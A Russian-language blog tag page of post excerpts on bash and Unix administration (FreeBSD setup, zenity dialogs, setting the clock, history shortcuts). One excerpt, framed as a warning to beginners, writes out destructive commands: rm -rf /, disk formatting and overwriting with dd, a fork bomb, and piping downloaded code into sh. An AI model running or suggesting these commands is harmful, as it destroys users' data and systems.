Записи с меткой bash

Первичная настройка FreeBSD

free bsd logoВсем доброго времени суток!

Парой дней ранее у нас с Валерием Павловичем случился диалог в twitter’е, в ходе которого я пообещал в случае удачной установки FreeBSD (а вышло, что и миграции), опишу сие действо в доступной форме. Однако, оказалось, что в этом ничего сложного то и нет, а значит и объяснять нечего. Куда сложнее дело обстоит с настройкой.

Установку я всё же опишу, но потом — поставлю на VirtualBox, дабы скрины были. Всё же есть пара моментов, которые хочется пояснить.
Первичная настройка FreeBSD… →

Начинающим | | 1 комментарий
Ввод паролей в консоли

Каждый, кто хоть раз пытался написать консольную программу, использующую аутентификацию login/password, задавался вопросом “а как бы пароль спрятать”? Я, к примеру, в зависимости от ситуации, либо использовал для этого zenity, либо отслеживал каждое нажатие и затирал символ (кроме Enter)… Неудобно.  Случайно узнал ещё один, гораздо более удобный, способ:

Ввод паролей в… →

Программирование | | ответить
Zenity – создание GTK+ интерфейсов прямо из консоли!

Классная утилита создания графических интерфейсов прямо из sh скриптов. Пользоваться ей просто:

zenity [OPTION...]

Для начала вызов help’а: Zenity – создание… →

Общая | | ответить
Установка даты и времени в Linux

Как это делается при наличии Gnome или KDE знают все. Поэтому – консоль! Зачем? А вдруг у вас нету GUI(сервер, к примеру) или графическая оболочка снова сбоит…

Выбор часового пояса:
Идём в папку /usr/share/zoneinfo/, выбираем город, находящийся с нами в одном часовом поясе.
Теперь вместо /etc/localtime ставим символическую ссылку на /etc/localtime:
root[~]# ln -fs /usr/share/zoneinfo/Europe/Yekaterinburg /etc/localtime
Устанавливаем время и дату:
date ММДДЧЧммГГГГ.СС
Месяц, День, Час, Минуты, Год, Секунды.
root[~]# date 073008102009.59
Thu Jul 30 08:10:59 EDT 2009

Выполнять с правами root’а.

Настройка | | ответить
7 смертоубийственных Linux-команд

Филиппинский студент Джан Ауза собрал список из 7 самых опасных команд в Linux. Внимание! Не надо испытывать эти команды на вашей рабочей системе — она будет полностью уничтожена. Пожалуйста, тренируйтесь в изолированных виртуальных средах.

Первая и самая известная команда: rm -rf /. Введенная от имени суперпользователя, рекурсивно удалит все файлы.

Намного быстрее форматирование: mkfs.ext3 /dev/sda. Эта команда уничтожит все файлы на диске /dev/sda.

Прием, известный как forkbomb (от системного вызова fork(), который ветвит текущий процесс). Достаточно набрать в консоли :( ){ :| :&};: и вся память заполнится копиями процессов, результатом чего будет зависание. Особо интересный эффект можно получить, поместив данную команду в сценарии загрузки.

Следующая команда портит жесткий диск /dev/sda: любая_команда > /dev/sda. Если вызванная команда выводит какие-либо данные, то они будут перенаправлены прямиком в начало диска, что приведет к потере данных.

Вредоносный код можно разместить в интернете и вызвать его удалённо командой, которая, на первый взгляд, не вызывает никаких подозрений: wget http://некоторый_вредоносный_код -O- | sh

Шестой способ вредительства заключается в том, чтобы отправить все файлы в “черную дыру” /dev/null. Сделать это можно следующим образом: mv /home/my_home_directory/* /dev/null

И последний способ, который делает невозможным восстановление утерянных данных:
dd if=/dev/urandom of=/dev/sda. В этом случае диск заполняется случайными данными.

Разумеется, опытный пользователь легко распознает любую вредоносную команду, а вот новичкам следует внимательно изучить примеры, чтобы не стать жертвой “дружеского” розыгрыша.

Начинающим | | ответить
Написание скриптов с графическим интерфейсом ч.2

Ранее уже рассматривалась тема создания скриптов с графическим интерфейсом на базе утилиты kdialog, являющейся частью KDE. Но пользователям сред на базе GTK+ не всегда есть смысл устанавливать библиотеки KDE и потому им можно порекомендовать различные альтернативы на базе GTK+. Ниже будет рассмотрена одна из таких альтернатив – Zenity.

Написание скриптов с… →

Общая | | ответить
Написание скриптов с графическим интерфейсом ч.1

Да-да. Именно так. И это не глупость. Есть множество различных инструментов для создания несложных скриптов с минимальным, но всё-таки графическим интерфейсом. В качестве примера можно привести консольный dialog, и графические gtkdialog и kdialog.

Написание скриптов с… →

Общая | | ответить
190 команд консоли(подарочный вариант)

190 команд консоли(подарочный… →

Начинающим | | ответить
Трюки bash

История и bang-bang

История команд — очень удобный инструмент. С помощью стрелок вверх-вниз можно перемещаться по истории введеных команд. Кроме того, с помощью команды history можно просмотреть всю историю команд:

190 ps axu | grep htt
191 /www/bin/apachectl start
192 vi /usr/local/lib/php.ini
193 cat /www/logs/error_log
194 ps -auxw | grep http
195 pwd

Ничего удивительного.
Гораздо интереснее то, что называется bang-bang, или команда !!.. `!!` означает последнюю команду в истории. Т.е. ввод `!!` в данном случае аналогичен `pwd`.
Но и это еще не все. Можно ввести `!<первые буквы команды>`. `! ps` вызовет `ps axu | grep htt`. Но будьте внимательны и сообщайте восклицательному знаку достаточно символов команды. Например! p в данном случае будет аналогично `pwd`, а не `ps axu | grep htt` (поскольку pwd ниже в истории) как возможно хотелось бы.

Трюки bash… →

Начинающим | | ответить